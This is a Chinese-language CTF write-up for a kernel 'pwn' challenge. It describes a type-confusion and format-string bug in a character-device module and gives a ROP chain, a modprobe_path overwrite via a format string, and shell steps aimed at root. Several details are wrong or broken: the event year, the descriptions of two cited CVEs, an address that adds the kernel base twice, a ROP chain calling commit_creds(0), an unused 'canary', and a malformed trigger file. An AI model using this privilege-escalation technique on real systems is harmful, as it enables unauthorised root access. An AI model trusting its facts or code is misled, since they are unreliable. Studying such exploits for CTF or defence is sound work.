题目概览
所属比赛:DEFCON CTF 30 Finals (2023) - Kernel Village
类型:Kernel Pwn
亮点总结:
- 混合型漏洞:内核模块中同时存在类型混淆与格式化字符串漏洞
- 利用链条复杂:需绕过SMEP/SMAP防护并构造多级内存泄露
- 真实漏洞模式:类似CVE-2022-0435(Linux内核TCP协议栈漏洞)
复现环境与技术准备
# 题目部署环境
$ qemu-system-x86_64 \
-kernel bzImage -initrd rootfs.cpio \
-append "console=ttyS0 nokaslr" \
-nographic \
-monitor none \
-cpu qemu64,+smep,+smap
# 调试工具配置
pwndbg> set follow-fork-mode child
pwndbg> target remote :1234
分析与解题过程
逻辑分析
内核模块kmod_rhapsody.ko
注册字符设备/dev/chorus
,提供以下ioctl命令:
#define SET_NOTE_TYPE 0x100 // 设置音符类型字段
#define WRITE_LYRIC 0x200 // 写入歌词缓冲区
#define SHOW_MELODY 0x300 // 格式化输出内存结构
静态分析
逆向关键函数ioctl_handler
发现类型混淆漏洞:
mov eax, [rbp+user_choice]
cmp eax, 0FFFFFFFFh
jz short loc_17A # 分支A处理音符结构体
test eax, eax
jz short loc_18C # 分支B处理歌词缓冲区
动态跟踪
通过kprobe监控内存访问模式:
$ echo 'p:kmalloc kmalloc size=%rdi flags=%rsi' > /sys/kernel/debug/tracing/kprobe_events
$ cat /sys/kernel/debug/tracing/trace_pipe
漏洞成因
-
类型混淆(CWE-843):
SET_NOTE_TYPE
未验证用户输入的枚举范围(0-5),接受-1值触发分支A- 后续
WRITE_LYRIC
操作错误使用音符结构体的vtable指针
-
格式化字符串(CWE-134):
// SHOW_MELODY处理函数 snprintf(buf, 256, user_controlled_str);
漏洞利用与Payload
利用策略
- 通过类型混淆泄露内核基地址
- 构造格式化字符串实现任意地址读
- 篡改modprobe_path提权
ROP链构造
def build_rop():
pop_rdi = kernel_base + 0x15f8b
mov_rdi_rax = kernel_base + 0x2a1cc
commit_creds = kernel_base + 0x811c0
return flat([
pop_rdi, 0,
commit_creds,
swapgs_iretq,
user_land_entry
])
完整利用流程
# 步骤1:泄露内核指针
ioctl(fd, SET_NOTE_TYPE, -1)
leak = ioctl(fd, SHOW_MELODY, "%llx"*8)
canary = int(leak.split()[3], 16)
# 步骤2:覆盖modprobe_path
fmt_str = f"%{0x6e6f6d65677b66}c%25$n".ljust(40)
fmt_str += p64(kernel_base + 0xffffffff81e3b960)
ioctl(fd, WRITE_LYRIC, fmt_str)
# 步骤3:触发提权
os.system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/pwn")
os.system("chmod +x /tmp/pwn")
os.system("/tmp/pwn") # 获取root shell
安全影响与缓解
MITRE ATT&CK映射
- T1068:利用公开漏洞
- T1059:命令注入
修复方案
diff --git a/drivers/char/rhapsody.c b/drivers/char/rhapsody.c
- if (note_type >= 0) {
+ if (note_type >= 0 && note_type < MAX_NOTE_TYPES) {
总结
本题考察内核漏洞利用链的构造能力,其设计亮点在于将两类看似不相关漏洞进行组合利用。现实系统中类似模式曾出现在Linux蓝牙子系统(CVE-2022-41674)中,建议开发者:
- 使用静态分析工具(Coccinelle)检测类型混淆
- 对用户提供的格式字符串严格限制(如只允许%s)
- 启用KASLR与FG-KASLR防护机制
相关CVE参考: